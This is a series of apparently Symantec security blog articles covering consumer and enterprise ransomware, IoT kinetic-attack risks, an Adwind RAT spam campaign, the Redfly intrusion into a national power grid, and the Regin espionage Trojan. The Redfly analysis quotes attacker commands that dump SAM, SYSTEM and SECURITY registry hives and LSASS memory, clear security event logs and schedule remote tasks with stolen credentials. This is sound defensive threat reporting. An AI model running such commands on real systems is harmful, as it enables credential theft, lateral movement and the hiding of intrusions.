One major reason for the targeting shift: Consumers are more trouble than they are worth, says Dick O'Brien, principal editor at Symantec, who authored an ISTR special report on targeted ransomware.
"A lot of the consumers these days do not use computers that much, and ransomware is designed to infect Windows computers—they are not in the firing line, as much as enterprise users," he says. "Enterprises are—I would not say an easier target, but there are more possibilities for a compromise with them."
Consumers: A Low Return on Investment
Consumers used to be the easy target.
For much of the first decade of the new century, a particular class of fraudsters would scare consumers with dire warnings that their computer had been compromised, and demanding that they buy antivirus or pay a fee to keep it safe. This so-called "scareware" gave way to real attacks that locked systems using a variety of technical tricks, and demanding money to unlock the operating system. Yet, security firms could often easily create utilities to restore victims' systems.
In 2013, the first modern data-encrypting malware, Cryptolocker, was released. While earlier ransomware—most notably the AIDS Trojan of 1989—had used rudimentary encryption, Cryptolocker was the first ransomware to really focus on making the encrypted data unrecoverable. In 2016 and 2017, ransomware started taking off, fueled by spam campaigns, the rise of bitcoin, and opportunistic attacks on consumers. A small fraction of consumers could be counted on to click on a malicious link, infecting their systems.
Consumers used to be the easy target.
While 2018 saw a decline in the targeting of consumers, a research paper published by researchers at Stanford University, New York University and Symantec found that the revenue of criminals like surpasses $100 million annually. In the paper published at the annual USENIX Symposium on Usable Privacy and Security, the researchers found that about 2 to 3 percent of adult consumers are impacted by ransomware each year and only 4 percent of those affected actually pay a ransom, which averages about $530.
Because the return on investment for consumers is quite poor, the only way to make such an attack profitable is to have a highly automated process, says Camelia Simou, a PhD candidate in computational social science at Stanford University and one of the paper's authors.
"Since it is an automated attack and low-cost attack, you can create a botnet to send out the malware and get hundreds of thousands of victims," she said. "It is definitely a different strategy, compared to the time and effort needed to carry out an enterprise attack."
The data is based on a detailed survey of 1,180 U.S. adults and suggests that between 5 million and 7.5 million U.S. adults are affected by ransomware each year, which results in cyber criminal profits of between $106 million and $159 million a year. Many other less rigorous surveys have been published by companies that suggest higher figures.
While a small fraction of consumers did pay the ransom, the vast majority—75 percent—solved the problem themselves, either by restarted their computer, using an online tool or AV software, or restoring their computer form a backup, according to the survey. In about one in eight cases, the malware was removed by someone else. Finally, about 5 percent of consumers just reformatted their computers.
That's yet another reason that ransomware operators have moved away from consumers. "I think, for most consumers, $1,000 may be the most that they are willing to pay for their data, whereas for enterprises, they are willing to pay a lot more," according to Symantec's O'Brien.
Consumer Learning Curve
The experience of having your life encrypted and held for ransom should only happen once. Yet, the Stanford, NY University and Symantec research paper found that consumers did not necessarily change their behavior after suffering an attack. Following an attack, about two-thirds of consumers claim to browse more carefully, 44 percent purchase an antivirus product, and 31 percent updated their current antivirus product.
The consumer still represents a potentially lucrative market, because many people do not take the correct steps to secure their systems after an attack. Only 26 percent of consumers started to back up data, and 22 percent began backing up data more regularly, which suggests that more than half of consumers don't back up regularly.
"Very few people actually started saying that they were backing up their data, even following an attack," Simou said. "And that pointed to us a need for more education."
The consumer still represents a potentially lucrative market, because many people do not take the correct steps to secure their systems after an attack.
Consumer behavior matters. Someone who does not download pirated or untrusted media or software, backs up regularly, and protects their computer with a password almost never encounters ransomware, according to a simple risk assessment given to participants in the Stanford survey.
The mini quiz scored people based on their behaviors. A person that frequently downloads from torrent sites, does not back up their data, downloaded an untrusted application, and does not password protect their computers, has a greater than 7 percent chance of being impacted by ransomware.
"You can never be 100 percent safe, and it is hard to tell people to protect themselves better," Simou said. "But at least consumers can mitigate the effects of a ransomware attack and avoid paying the ransom, if they back up."
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Ransomware: Prevention is Possible, A Cure—Not So Much
The surge in activity should serve as a wake-up call for enterprises to reexamine their practices and build a case for a multi-layered approach to security
The WannaCry and Petya exploits year put the spotlight on the dangers of new worm-type ransomware attacks. Yet while the outbreaks were a security wake-up call for many, rigorous patching and backup strategies still don’t go far enough to fully protect the enterprise against this emerging threat.
WannaCry, first discovered last May, marked a shift in the traditional ransomware landscape in that unlike typical mass-mailing attacks which target single users, this worm-like threat was self-propagating, meaning it could spread across an entire network of computers. In the case of WannaCry, the ransomware variant also exploited a critical vulnerability in Microsoft Windows called EternalBlue. While many companies knew about EternalBlue, they had not gotten around to patching for the exploit, which made the self-propagation activity much easier.
WannaCry’s impact was dramatic: Hundreds of thousands of computers in more than 150 countries were attacked, resulting in financial losses estimated to be in the billions of dollars. Beyond WannaCry and follow-on worm-like variants like Petya, incidents of ransomware are on the rise. Indeed, Symantec found that ransomware attacks jumped by more than one-third to over 483,800 incidents in 2016.
Enterprises are particularly vulnerable to the worm-type ransomware attacks because their systems are networked, thus hackers have a lot more to gain. Payout for a ransomware attack on an enterprise scale could run into the hundreds of thousands or millions of dollars while infiltrating a single computer might, on average, yield a few hundred dollars ransom. During the first six months of last year, for example, organizations accounted for 42% of all ransomware infections, up from 30% in 2016 and 29% in 2015, according to Symantec research, which attributes the surge, in part, to WannaCry and Petya.
“This raises the stakes in terms of ransomware because the more data [attackers] can encrypt, the higher the ransom they can command,” says Dr. Alexander Volynkin, senior research scientist for the CERT division of the Software Engineering Institute at Carnegie Mellon University. “When encrypting a single computer, the data may not be all that valuable, but if half of your computers are encrypted, the chances are good that data needs to be recovered and that increases the attackers’ opportunity to get paid.”
No Room for Complacency
While there is no one specific remedy to ward off a worm-type ransomware attack, the surge in activity should serve as a wake-up call for enterprises to reexamine their security practices and build a case for a multi-layered approach. With complacency not an option, robust back-up practices on their own won’t sufficiently inoculate against the threat of worm-type ransomware. Keeping all software up to date—web browsers, Microsoft Office as well as Windows—is critical.
“This really illustrates the value of patching ASAP rather than waiting a few months or not getting around to it,” says Dick O’Brien, principal editor at Symantec and the author of the 2017 Ransomware Report.
Conducting regular backups of systems and storing those backups offline—and preferably off-site—so they are not part of an enterprise network is another best practice recommended by CMU’s Volynkin. As part of this process, organizations need to codify a verification process that ensures the backups are capturing all the requisite data and that the restore operates properly in the environment, he adds.
Protective measures at the system-level are equally important. Email filtering services can help identify and stop malicious emails before they reach users, and endpoint protection services can go a step further by sterilizing and removing malicious content from attached documents before they reach a target. Intrusion Protection Systems (IPS) are another important layer in the stack, designed to detect and block malicious traffic from exploiting vulnerabilities, thus critical for preventing the installation of ransomware.
“The great thing about layers is that if one falls down, there’s another to catch it,” says O’Brien. There are a lot of different technologies available and they all work in harmony to reduce the risk of exposure.”
If an attack occurs, the goal is to limit the spread of the ransomware. Enlisting an outside security practice to help monitor ransomware families can provide a critical line of defense and can also aid in making a speedy recovery from the attack. For their part, companies should be sure to perform full network scans on their own so they can identify and isolate any infected computers from the enterprise network, Symantec’s O’Brien says.
In the end, as with most security threats, O’Brien contends prevention is important, but a cure may not be possible. “There is no way of eliminating the risk of ransomware completely—there are always new technologies appearing that no one is aware of,” he says. “The more preventive measures you take, the more likely you can reduce the chances of infection.”
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Real-World Damage Coming to a Connected Device Near You
The intersection of an increasingly connected physical world with overwhelming interest from researchers and attackers making real-world damage from digital attacks more likely
While worms and viruses deleted data and crashed systems in the past, the proliferation of Internet-connected devices will likely mean that digital attacks will also result in real-world damages.
The threat is not theoretical. In June 2017, several large companies suffered operational disruptions when the NotPetya ransomware attack encrypted critical systems. Among the companies affected, pharmaceutical maker Merck lost $310 million in due to manufacturing and sales disruptions, while shipping and logistics conglomerate AP Moller-Maersk may have lost as much $300 million.
Marin Ivezic, a partner with consulting firm PricewaterhouseCoopers’ Cyber security, Enterprise Resilience and Security Operations group, predicts that such real-world impacts will only become more serious. In a recent red-team exercise, which Ivezic will only say happened in the past three years, a railway management system under development was found to have significant vulnerabilities that could be exploited by digital and electromagnetic attacks to cause consequences in the real world.
“We found more than 20 different ways to cause kinetic impacts,” he said.
Past digital attacks typically only affected data or the compromised computer systems. Yet, as devices become increasingly connected to devices that manager real-world processes — such as driving a car, heating a business, or maintaining an assembly line — the impact of digital attacks is being felt, and will be felt, more widely.
Rail systems are not the only digitally-connected collection of devices found to have vulnerabilities. A recent test of automobile security conducted by PwC discovered that penetration testers could take control of cars en masse, Ivezic said.
“We could control of all of the cars of a particular model, globally, all at the same time,” Ivezic said. Overall, the Internet of Things continues to have security problems. “The research demonstrates that these vulnerabilities that exist right now,” he said.
The threat is not theoretical
Kinetic Impacts
Compromising the Internet of Things can cause kinetic impacts in three main ways.
To date, most kinetic impacts have been caused by indirect effects. In 2003, railway CSX had to shut down trains in 23 states because the Sobig worm, a cousin of the Blaster worm, caused havoc in its systems. A year ago, the San Francisco Municipal Transportation Agency, which runs buses and subways in the city, gave everyone free rides for the weekend, after ransomware infected and encrypted data on 900 systems.
A second way that kinetic impacts occur is through reputational damage. Just the fact that a company has been hacked has triggered fines, resulted in lost customers and lawsuits. The cost of Target’s 2013 data breach, topped $200 million as of May 2017, a number that does not include lost sales from customers choosing to shop elsewhere.
Increasingly, however, the worry is that digital intruders will focus on attacking the functionality of connected devices. This third method of causing kinetic damages requires the most knowledge on the part of the attackers, but can do the most damage. In 2016, two targeted attacks in Finland, for example, disrupted the management systems for two buildings, shutting down their heat in the middle of winter. In 2015, a pair of well-known security researchers were able to remotely control, and disable, a Jeep Cherokee while it was on the road.
Such attacks, especially against the critical infrastructure that society needs to operate, could cause widespread damage. “Critical infrastructure will always have the highest potential for kinetic damage,” said Candid Wuest, principal threat researcher for Symantec.
To date, most real-world damages have not caused widespread problems. While viruses and worms of the past have caused data loss and occasional work stoppage, the real-world impacts of such attacks have been muted. The concern, however, is that more sophisticated attackers could cause more serious damages, such as causing smart cars or medical devices to malfunction.
“Unlike inconvenient security problems for your tablet or notebook computer, IoT insecurity puts human safety at risk,” Kevin Fu, a professor of electric engineering and computer science at the University of Michigan, told the U.S. House of Representative’s Energy and Commerce Committee a year ago. “Innovative systems will not be safe if they are not secure.”
In the home, such attacks are less likely to have a major impact as long as manufacturers design products to fail properly. An iron, for example, should not be allowed to stay on for long periods of time, Wuest said.
Yet, add in automated assistants, and unintended impacts can happen. In November, a German man found himself on the hook for a hefty bill when his Amazon Alexa device decided to blast music in the middle of the night, allegedly without any instructions from him. Police hired a locksmith to open the door, and charged the man for the service.
“For the next one or two years, we will see more smart devices in the home, but in terms of attackers, most of the focus will be on denial-of-service attacks or for mining cryptocurrencies,” Wuest said.
People’s privacy is at stake as well. The proliferation in homes and public spaces of Internet-of-Things devices — and companies desire to collect information on consumers — will lead to significant privacy exposure. In 2012, for example, researchers with the Münster University of Applied Sciences’ Computer Security Lab found that smart meters polling energy usage at a 2-second interval provided enough detail to reveal what movies a person was watching, if other appliances were not interfering with the signal.
“Our research has shown that the electricity usage profile with a (two-second) sample rate leads to an invasion into a person’s private sphere regarding his TV watching habits,” the researchers stated. “Five minutes of consecutive playing of a movie is in many cases sufficient to identify the viewed content by analyzing the smart meter power consumption data.”
The focus of nation-states on such damaging cyber attacks will make it only more likely that the danger will increase. Nation-states look to develop the capabilities to attack through the Internet of Things and industrial control systems, because such attacks are, for the most part, deniable.
The U.S.-Israeli operation to hobble Iran’s nuclear-processing capability through the Stuxnet attack raised the visibility of such attacks. More recent incidents linked to North Korea and Russia nation-states underscored the emerging trend where nation-states carry out cyber attacks with little fear of the potential repercussions.
"At the risk of sounding a bit alarmist, I think in the next one to three years, you are not going to care about data breaches anymore,” Ivezic said. “I really think these types of cyber kinetic attacks will increase.”
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Recent Surge in Spam Emails Carries Repackaged Adwind RAT to Evade Detection
A recent surge in spam emails totaling over one million a month is the result of attackers trying to spread newly repackaged Adwind RAT variants.
In August 2017, we began to see a surge of emails that were tied to the Adwind remote access Trojan (RAT). This increased activity led to a peak in October 2017, when we observed a large spike in the number of emails—totaling over 1.5 million—all attempting to deliver several variants of Adwind. In November, Symantec blocked over 1.3 million malicious emails related to this threat, this represents a small dip from October but the activity trend is still definitely upwards.
Adwind (Backdoor.Adwind) is a cross-platform, multifunctional RAT also known as AlienSpy, Frutas, Unrecom, Sockrat, JSocket, and jRAT. It was first discovered in 2013 and can be used for logging keystrokes, using the webcam, stealing information, downloading potentially malicious files, as well as a host of other nasty activities.
This high-volume campaign kicked off just in time for the holiday/shopping season, and the timing could be designed to give attackers more time to use any stolen credentials, as victims may let their guard down because they are more relaxed and engaged with other festive activities during this time.
Surge in malicious JAR files
The emails spreading Adwind come with JAR or ZIP file attachments. There was a surge in the number of malicious JAR files detected by Symantec, which peaked in October but actually began in August. The increase in malicious JAR detections corresponds with the recent Adwind campaign. The number of malicious JARs jumped from just over 840,000 in July to almost 1,272,000 in August. October saw 1.55 million, and November saw over 1.3 million detected.
The email surge that began in August is now well established, with the average volume now well above one million emails a month.
Figure 1. Surge in malicious JAR files tied to recent Adwind campaign
Adwind-spreading spam
The Adwind-spreading emails in this recent campaign are made to look like they originate from various service providers from industry sectors such as finance, telecoms, software, and logistics.
The emails come with subject lines containing keywords such as “Account statement”, “payment”, and “PURCHASE ORDER”.
In some instances the email used (Figure.2) is made to look like it came from a well-known logistics firm. The email looks very convincing and could fool the recipient into thinking it is legitimate, however the email attachment tells a different story. The file is a fake shipping invoice made to look like a PDF file but is actually a JAR file containing the Adwind malware.
Figure 2. Malicious email appears to come from well-known logistics firm but contains Adwind malware
Other convincing emails appear to come from financial institutions, and some contain two attachments in case someone suspects that the JAR file may be malicious.
Current Adwind variant
The Adwind RAT has been around for quite some time but, in an effort to remain undetected, new variants contain very few identifiable strings and use a convoluted scheme involving layer upon layer of obfuscated function calls and classes wrapped inside numerous JAR files.
The wrapper file used in this campaign has multiple packages and classes with nested function calls within these multiple classes. The packages contain AES encrypted binary files with different extensions, such as .dll, .bin, and .so, to disguise themselves.
Figure 3. Three flavors of code/class obfuscation used by Adwind
All three variants shown in Figure.3 are different in terms of obfuscation but the functionality remains the same.
Peering into the JAR
Once executed, the JAR files drop a payload JAR file with a random name and extension. The payload JAR is dropped in a randomly named directory and executed. The threat then runs VBS scripts in order to fingerprint the compromised computer. It also uses the Windows Management Instrumentation (WMI) interface to get details of any installed firewall or security products.
The threat then sets registry entries to disable System Restore and set Image File Execution Options for many security products and reversing tools to svchost.exe so that the tools cannot start. It also starts ending processes related to monitoring tools. The threat also connects to its command and control (C&C) server (we observed Adwind connecting with 174[.]127[.]99[.]211 but similar IP address ranges have also been used).
The payload JAR is similar to previous versions of Adwind and can be decompiled and reverse engineered using Bytecode Viewer or Java Decompiler and freely available Adwind decryptors.
Figure 4. Interesting files contained within the payload JAR file
The important files here are those that provide further information on the threat’s configuration:
drop.box - RSA private key
mega.download - Encrypted configuration file
sky.drive - AES key to decrypt data in mega.download
Figure 5. Typical contents of mega.download configuration file complete with URL to website selling software and support for JRAT
The configuration file points to yet more files specified by the SERVER_PATH, PASSWORD_CRYPTED, and PRIVATE_PASSWORD keys. These keys represents the following attributes:
SERVER_PATH - Encrypted content
PRIVATE_PASSWORD - RSA key repository
PASSWORD_CRYPTED - AES key
We can use these additional files to isolate the core Adwind RAT tool and decompile it to check the core functionalities. Figure.6 is what we eventually find in the core of Adwind.
Figure 6. Contents of the core Adwind JAR file
Looking even deeper into the JAR file, we can see operating system specific implementations (Adwind can work on macOS, Windows, and Linux), and utility classes containing code to execute other files, open shells, and carry out other activities. The resources directory of decrypted.jar contains a set of files that are used to decrypt the contents of config.json. This file contains configuration details (Figure.7) with information on network, path, user, and VMware, among other things.
Figure 7. Contents of config.json file
Adwind does what Adwind does best
After all the layers of obfuscation are peeled back, what we are left with is Adwind. And Adwind is really a cross-platform malware that can monitor user activity, take screenshots, log keystrokes, record video and audio, and much more. This latest spam campaign spreading yet another variant of the RAT shows that the criminals behind it are constantly changing their tactics to evade detection. However, we are keeping a close eye on Adwind and are adjusting our protection when necessary to keep our customers safe.
A few simple steps to help you stay safe
In the meantime, follow these simple steps to help keep you safe from cyber attacks:
Be wary of unsolicited emails, particularly those with a call to action to follow links and open attachments in the email. If in doubt, just delete the email.
Use a comprehensive security solution such as Symantec Endpoint Protection or Norton Security to help keep you safe from cyber threats.
Keep your software and operating system up to date with the latest updates to avoid falling victim to any exploit-based attacks.
Protection
Symantec has the following protection in place to protect against the malware mentioned in this blog:
Antivirus
Trojan.Maljava
Backdoor.Adwind
SONAR.Adwind!gen1
Symantec.Cloud has advanced heuristics to detect the type of email used to spread Adwind.
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Redfly: Espionage Actors Continue to Target Critical Infrastructure
National grid in Asia compromised by attackers using ShadowPad Trojan.
Espionage actors are continuing to mount attacks on critical national infrastructure (CNI) targets, a trend that has become a source of concern for governments and CNI organizations worldwide. Symantec’s Threat Hunter Team has found evidence that a threat actor group Symantec calls Redfly used the ShadowPad Trojan to compromise a national grid in an Asian country for as long as six months earlier this year. The attackers managed to steal credentials and compromise multiple computers on the organization’s network.
The attack is the latest in a series of espionage intrusions against CNI targets. In May 2023, the U.S., UK, Australian, Canadian, and New Zealand governments issued a joint alert about threat actors targeting CNI organizations in the U.S. using techniques that could potentially be replicated against targets in other countries. The alert followed Microsoft’s report on Volt Typhoon, an espionage actor that compromised several critical infrastructure organizations in the U.S.
Links to earlier attacks
ShadowPad is a modular remote access Trojan (RAT) that was designed as a successor to the Korplug/PlugX Trojan, and was, for a period of time, sold in underground forums. However, despite its origins as a publicly available tool, it was only sold publicly for a very short time reportedly to a handful of buyers. It has since been closely linked to espionage actors.
While ShadowPad is known to be used by multiple advanced persistent threat (APT) actors, identified tools and infrastructure used in the recent campaign targeting a national power grid overlaps with previously reported attacks attributed to a cluster of APT41 activity (aka Brass Typhoon, Wicked Panda, Winnti, and Red Echo). Symantec tracks this group under as multiple distinct actors such as Blackfly and Grayfly, where links between these groups have been discussed before. The activities identified in this campaign are currently being tracked under a separate group that Symantec has dubbed Redfly, which appears to exclusively focus on targeting CNI.
Tools used: ShadowPad
A distinct variant of the ShadowPad Trojan was used in this attack. It utilized the domain websencl[.]com for command-and-control (C&C) purposes.
It copied itself to disk in the following locations, masquerading as VMware files and directories to mask its purpose (there is no other evident association with VMware products):
C:\ProgramData\VMware\RawdskCompatibility\virtual\vmrawdsk.exe
C:\ProgramData\VMware\RawdskCompatibility\virtual\mscoree.dll
Persistence is achieved by creating the following service that is configured to start with Windows on boot-up:
ServiceName: VMware Snapshot Provider Service
DisplayName: VMware Snapshot Provider Service
ServiceType: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS
StartType: SERVICE_AUTO_START
BinaryPathName: C:\ProgramData\VMware\RawdskCompatibility\virtual\vmrawdsk.exe
Tools used: Packerloader
This is a tool used to load and execute shellcode. The shellcode is stored in a file in an encrypted form. It allows the attackers to deliver and execute arbitrary files or commands on an infected computer.
The tool is a 64-bit dynamic link library (DLL) that has one export, called WorkProc, which accepts an additional command-line argument. This argument is interpreted as a string and can be used as a decryption key. If no key is passed on the command line, the malware attempts to retrieve a key from the following registry location instead:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\HomeGroup\PublishedMessageOfflineCache\"AKey"
In all cases, the malware checks that the string length of the decryption secret is 0x20 characters.
The malware then loads its payload. It will first check if the following file exists:
[FILE_DIRECTORY_OF_SAMPLE_BINARY]\tmp.bin
If the file exists, its contents are used as the encrypted payload. Otherwise, the malware attempts to retrieve a payload from the registry at the following location:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\HomeGroup\PublishedMessageOfflineCache\"SData"
The malware will then decrypt the loaded payload with the Advanced Encryption Standard (AES) algorithm in Electronic Code Book (ECB) mode using the first 0x10 bytes of the decryption key as the AES key. Finally, it creates a new thread to execute the decrypted payload as shellcode.
Tools used: Keylogger
The attackers also employed a keylogger, which was installed under various file names on different computers, including winlogon.exe and hphelper.exe.
The keylogger was configured to store captured keystrokes in the following location:
%SYSTEMROOT%\Intel\record.log
Attack outline
The first evidence of intrusion on the targeted network dated from February 28, 2023, when ShadowPad was executed on a single computer. It was executed again on May 17 2023, suggesting that the attackers had maintained a presence in the intervening three months.
A day earlier (May 16), a suspicious Windows batch file (file name: 1.bat) was executed. Shortly afterwards, PackerLoader was executed via rundll32 from the %TEMP% directory with some command-line arguments:
rundll32 %TEMP\%packerloader.dll WorkProc E10ADC3949BA59ABBE56E057F20F883E
Immediately afterwards, permissions were modified for a driver file called dump_diskfs.sys to grant access to all users. It is possible the attackers used this driver to create dumps of the file system for later exfiltration. Four minutes later, credentials were dumped from the Windows registry:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.sav
reg save HKLM\SECURITY security.save
On May 19, the attackers returned, running PackerLoader and the 1.bat batch file again. Shortly afterwards, a legitimate binary named displayswitch.exe was executed. It was likely being used to perform DLL side-loading. This involves the attackers placing a malicious DLL in a directory where a legitimate DLL is expected to be found. The attacker then runs the legitimate application (having installed it themselves). The legitimate application then loads and executes the payload.
Several hours later a suspicious PowerShell command was executed and used to gather information on the storage devices attached to the system. Specifically it was designed to look for DriveType=3 (Read/Write Supported) and gather details on available space.
powershell -executionpolicy ByPass -command "$disks = Get-WmiObject Win32_LogicalDisk -Filter \" DriveType = 3\" ; foreach ($disk in $disks) { $freeSpace = \"{0:N2}\" -f ($disk.FreeSpace/1GB) ; Write-Host \"Drive Free Space: $($disk.DeviceID) $freeSpace\"; }"
Several hours later, a similar set of activity occurred again.
On May 26, displayswitch.exe was executed from the %TEMP% directory via the command prompt. Less than an hour later, several commands were executed via displayswitch.exe to dump credentials from the registry and clear the Windows security event logs:
CSIDL_SYSTEM\cmd.exe
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
wevtutil cl security
On May 29, the attackers returned and used a renamed version of ProcDump (file name: alg.exe) to dump credentials from LSASS.
alg.exe -accepteula -ma lsass.exe z1.dmp
On May 31, a scheduled task is used to execute oleview.exe, mostly likely to perform side-loading and laterally movement. Use of Oleview by ShadowPad has been previously documented by Dell Secureworks and was also reported to have been used in attacks against industrial control systems. The command specified that Oleview was to be executed on a remote machine using the task name (TendView) at 07:30 a.m. It appears the attackers likely used stolen credentials in order to spread their malware onto other machines within the network.
schtasks /create /s \\[REMOVED] /u [REMOVED] /P [REMOVED] /tr "CSIDL_PROFILE\[REMOVED]\appdata\local\temp\oleview.exe" /tn TrendView /st 07:30 /sc once /ru " " /f
Malicious activity appeared to cease until July 27, when a keylogger (file name: winlogon.exe) was installed on a machine.
The final evidence of malicious activity came on August 3, when the attackers returned and attempted to dump credentials again using a renamed version of ProcDump (file name: yara32.exe):
yara32.exe -accepteula -ma lsass.exe z1.dmp
Minutes later, the attackers also attempted to dump credentials from the Windows registry:
reg save HKLM\SAM sam.save
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
reg save HKLM\SECURITY security.save
Source of concern
Attacks against CNI targets are not unprecedented. Almost a decade ago, Symantec uncovered the Russian-sponsored Dragonfly group’s attacks against the energy sectors in the U.S. and Europe. More recently, the Russian Sandworm group mounted attacks against the electricity distribution network in Ukraine, which were directed at disrupting electricity supplies.
However, the frequency at which CNI organizations are being attacked appears to have increased over the past year and is now a source of concern. Threat actors maintaining a long-term, persistent presence on a national grid presents a clear risk of attacks designed to disrupt power supplies and other vital services in nation-states during times of increased political tension. While Symantec has not seen any disruptive activity by Redfly, the fact that such attacks have occurred in other regions means they are not outside the bounds of possibility.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
Type IOC Description
SHA256 73993d3b9aebf8dee50a144cf7e56b49d222a42600171df62c13d3f96824db60 DiskDumpDriver
SHA256 01f4e6f32070234b4203507be22cfb9d3d73b4bbd5100f62271e2161ec8813b7 DisplaySwitch (clean)
SHA256 8dbc8b756cb724e2d6dc9c7c40f22c48022a8ee48da6685c4ccf580c6b5183cf Keylogger
SHA256 2e642afdd36c129e6b50ae919ca608ac0006ce337f2a5a7a6fb1eef6a4ad99e7 Oleview (clean)
SHA256 32d709d8d41e4ede6861ce27c9e2bb86d83be8336b45a17f567bab1869c6600a PackerLoader
SHA256 16f413862efda3aba631d8a7ae2bfff6d84acd9f454a7adaa518c7a8a6f375a5 ProcDump
SHA256 656582bf82205ac3e10b46cbbcf8abb56dd67092459093f35ce8daa64f379a2c Shadowpad
SHA256 ac6938e03f2a076152ee4ce23a39a0bfcd676e4f0b031574d442b6e2df532646 Shadowpad
SHA256 231d21ceefd5c70aa952e8a21523dfe6b5aae9ae6e2b71a0cdbe4e5430b4f5b3 Shadowpad
SHA256 d9438cd2cdc83e8efad7b0c9a825466efea709335b63d6181dfdc57fb1f4a4e3 Shadowpad
Domain websencl[.]com Shadowpad
Filepath %SYSTEMROOT%\Intel\record.log Keylogger
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Regin: Further unravelling the mysteries of a cyberespionage threat
Symantec has found 49 new modules, bringing the total number of Regin modules uncovered to 75.
Symantec’s continuing investigation into the Regin Trojan has cast new light on the cyberespionage tool, revealing a wider range of capabilities and a complex infrastructure supporting the threat.
Regin was uncovered last year by Symantec and remains one of the most advanced spying tools discovered to date. The malware has been in circulation since at least 2008 and has been used against a range of targets, including government organizations, infrastructure operators, businesses, researchers, and private individuals.
New modules
Regin is a five-stage threat, with each stage loading and decrypting the next one. The malware is modular in structure, which allows its controllers to add and remove specific features depending on the target. Some Regin modules control basic functions of the malware, such as networking or handling Regin’s encrypted virtual file system (EVFS). Other modules act as payloads, dictating the functionality of each Regin infection.
As outlined in an updated technical whitepaper, Symantec has found 49 new modules, bringing the total number of Regin modules uncovered to 75. This remains an incomplete list. A number of other Regin payloads are known to exist since some modules analyzed contain references to them.
Command and control
Symantec has found an extensive command-and-control (C&C) infrastructure supporting Regin infections. The attackers have devised a complex system for communication with C&C servers, in which traffic is relayed through a network of Regin-infected computers. Compromised computers can act as a proxy for other infected computers and peer-to-peer (P2P) communications are used. The networking protocols used by the malware are extensible and can be configured between each pair of Regin-infected computers, providing the attackers with a granular level of control over C&C communications.
All C&C communications use strong encryption and follow a two-stage protocol, where the attackers contact the infected computer on one channel and instruct it to open communications on another. A single Regin module (0009h) is responsible for the core handling of communications protocols, while each individual protocol has its own separate module. A total of six transport protocols have been identified: ICMP, UDP, TCP, HTTP Cookies, SSL, and SMB.
Regin’s P2P communications capability sees each Regin infection assigned a virtual IP address, forming a virtual private network (VPN) on top of the physical network of the infected computer. This P2P capability allows the attackers to maintain deep access to critical assets within compromised organizations and mask core infrastructure belonging to the group. Traffic between nodes can be configured to match expected protocols based on where the nodes are placed on a network, adding a further degree of stealth to communications.
Remote procedure call (RPC) mechanism
Regin’s authors facilitate communication between modules with a lightweight remote procedure call (RPC) mechanism. This RPC mechanism appears to be custom-built.
The RPC mechanism allows for procedure calls to be made locally and across the network of Regin-infected computers. Operators can directly call any procedure on the Regin network to remotely control, install, or update modules, or change module configuration by replacing EVFS files.
Regin’s legacy
Despite the threat’s exposure last year, it is unlikely that the group behind this malware has ceased operations. Its track record and available resources mean it is probable that the group will re-equip itself with a new threat or upgrade Regin in a bid to evade detection. The latter is the most likely course of action, given the time it would take to develop an equally capable malware framework from scratch.
In terms of technical capabilities, Regin was several years ahead of most other threats. Its impact may continue to be felt as other, less advanced threat actors draw inspiration from it and copy its features in a bid to improve their own tools.
Further reading
Indicators of compromise for security administrators and more detailed technical information can be found in our updated technical paper−Regin: Top-tier espionage tool enables stealthy surveillance
Protection
Symantec and Norton products detect this threat as Backdoor.Regin.
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Regin: Top-tier espionage tool enables stealthy surveillance
Malware is customizable with an extensive range of capabilities depending on the target.
An advanced piece of malware, known as Regin, has been used in systematic spying campaigns against a range of international targets since at least 2008. A back door-type Trojan, Regin is a complex piece of malware whose structure displays a degree of technical competence rarely seen. Customizable with an extensive range of capabilities depending on the target, it provides its controllers with a powerful framework for mass surveillance and has been used in spying operations against government organizations, infrastructure operators, businesses, researchers, and private individuals.
It is likely that its development took months, if not years, to complete and its authors have gone to great lengths to cover its tracks. Its capabilities and the level of resources behind Regin indicate that it is one of the main cyberespionage tools used by a nation state.
As outlined in a new technical whitepaper from Symantec, Backdoor.Regin is a multi-staged threat and each stage is hidden and encrypted, with the exception of the first stage. Executing the first stage starts a domino chain of decryption and loading of each subsequent stage for a total of five stages. Each individual stage provides little information on the complete package. Only by acquiring all five stages is it possible to analyze and understand the threat.
Figure 1. Regin’s five stages
Regin also uses a modular approach, allowing it to load custom features tailored to the target. This modular approach has been seen in other sophisticated malware families such as Flamer and Weevil (The Mask), while the multi-stage loading architecture is similar to that seen in the Duqu/Stuxnet family of threats.
Timeline and target profile
Regin infections have been observed in a variety of organizations between 2008 and 2011, after which it was abruptly withdrawn. A new version of the malware resurfaced from 2013 onwards. Targets include private companies, government entities and research institutes. Almost half of all infections targeted private individuals and small businesses. Attacks on telecoms companies appear to be designed to gain access to calls being routed through their infrastructure.
Figure 2. Confirmed Regin infections by sector
Infections are also geographically diverse, having been identified in mainly in ten different countries.
Figure 3. Confirmed Regin Infections by country
Infection vector and payloads
The infection vector varies among targets and no reproducible vector had been found at the time of writing. Symantec believes that some targets may be tricked into visiting spoofed versions of well-known websites and the threat may be installed through a Web browser or by exploiting an application. On one computer, log files showed that Regin originated from Yahoo! Instant Messenger through an unconfirmed exploit.
Regin uses a modular approach, giving flexibility to the threat operators as they can load custom features tailored to individual targets when required. Some custom payloads are very advanced and exhibit a high degree of expertise in specialist sectors, further evidence of the level of resources available to Regin’s authors.
There are dozens of Regin payloads. The threat’s standard capabilities include several Remote Access Trojan (RAT) features, such as capturing screenshots, taking control of the mouse’s point-and-click functions, stealing passwords, monitoring network traffic, and recovering deleted files.
More specific and advanced payload modules were also discovered, such as a Microsoft IIS web server traffic monitor and a traffic sniffer of the administration of mobile telephone base station controllers.
Stealth
